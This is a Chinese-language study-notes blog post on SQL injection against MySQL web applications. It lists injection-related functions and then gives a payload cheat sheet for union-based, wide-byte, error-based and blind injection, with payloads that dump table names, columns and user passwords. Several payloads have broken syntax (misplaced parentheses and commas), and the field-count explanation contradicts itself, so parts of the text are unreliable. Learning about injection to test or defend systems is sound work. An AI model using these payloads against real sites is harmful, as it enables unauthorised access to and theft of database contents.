SQL注入学习整理
Posted 审查元素重现江湖
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入学习整理相关的知识,希望对你有一定的参考价值。
0x01:什么是SQL注入?
SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
0x02:SQL注入可用函数
注入函数
system user() 系统用户名
concat() 没有分隔符地连接字符串
user() 用户名
concat_ws() 含有分隔符地连接字符串
current_user() 当前用户名
group_concat() 连接个组的所有字符串,并以逗号分隔每条数据
session user() 连接数据库的用户名
load. file() 读取本地文件
database() 数据库名
into outfile 写文件
version() 数据库版本
ascii() 字符串的ASCI代码值
@@datadir 数据库路径
ord() 返回字符串第一个字符的ASCI值
@@basedir 数据库安装路径
mid() 返回一个字符串的一部分
@@version_compile. os 操作系统
substr() 返回个字符串的部分
count() 返回执行结果数量
length() 返回字符串的长度
left() 返回字符串最左面的几个字符
floor() 返回小于或等于x的最大整数
rand() 返回0和1之间的随机数
extractvalue()
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
sleep() 让此语句x秒后执行
if() IF(condition, value_if_true, value_if_false) IF函数根据条件的结果为true或false,返回第一个值,或第二个值
condition
必须,判断条件
value_if_true
可选,当条件为true值返回的值
condition
可选,当条件为false值返回的值
SELECT IF(500<1000, 5, 10);
char() 返回整数ASCII代码字符组成的字符串
strcmp() 比较字符串内容 strcmp('a','b') 转为ascii 对比大小
ifnull() 假如参数1不为null,返回参数1 ,否则返回值为参数2
exp() 返回e的x次方
0x03:SQL注入语句分析
select user() regexp '^ro' 正则表达式搜索 带ro 的用户
ascii(substr((select user(),1,1))=114 // 把查询的user分片,第一个用户的第一个字转成ascii 是否等于114
if(ascii(substr((select user())1,1))=114,0,sleep(5)) //绕过第一个字母等于114 就返回0 不等于就sleep
(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1))=9)
查询第一个数据库的第一个字母是否=9
updatexml(1,concat(0x7e,(select @@version),0x7e)1,) //通过报错执行查看版本 0x7e === ~
0x04:普通sql注入
//判断是否有注入,是字符型还是数字型。
id = 1' and '1' = '1
#如果返回正确结果,说明是字符型注入,因为引号被闭合。
//猜解查询语句中的字段数,,这里有两种方法
id = 1' or 1=1 order by 3 #
#如果返回错误结果,说明有2个字段
id = 1' union select 1,2,3#
#如果返回正确结果,说明有2个字段
//利用information_schema 获得表名
'union select 1,2,table_name from information_schema.tables #
//获取表中字段
' union select 1,column_type,column_name from information_schema.columns where table_name = 'secret_table'#
//获取字段数据
' union select 1,2,fl4g from secret_table #
//获取当前数据库
1' union select 1,database();
//获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
//获取表中的字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = "users"#
//获取数据
1' union select 1,group_concat(user,password) from users#
0x05:宽字节注入
//宽字节注入的关键点在于单引号被转义,但是编码设置错误导致的
//当源代码中出现了mysql_query("SET NAMES 'gbk'");时,就有可能发生宽字节注入
id = 1%df'绕过并在sql语句中使用十六进制码来绕过单引号
?id=1%df%27%20and%201=2%20order%20by%203%23
0x06:报错注入
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
#更改updatexml中的查询语句即可
#一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,
#它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解
0x07:盲注
//测试是否存在盲注和判断是否是字符型
1' and 1=1
1' and 1=2
//猜解当前数据库名的长度
1' and length(database()) = 1
//使用二分法猜解数据名
1' and ascii(substr(database(),1,1)) > 97#
#substr(str,start,length)
//猜解数据库中的表名的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1
//猜解表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1
//猜解表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>97#
//猜解表中的字段的数量
1' and (select count(column_name) from information_schema.columns where table_name="users")=1
//猜解表中的字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name="users"),1))=1
//猜解字段名
1' and ascii(substr(select column_name from information_schema.columns where table_name="users"),1,1)>97#
//猜解数据
1' and ascii(substr(select user,password from users),1,1)>91#
最后
感谢大家,以后会慢慢完善
以上是关于SQL注入学习整理的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段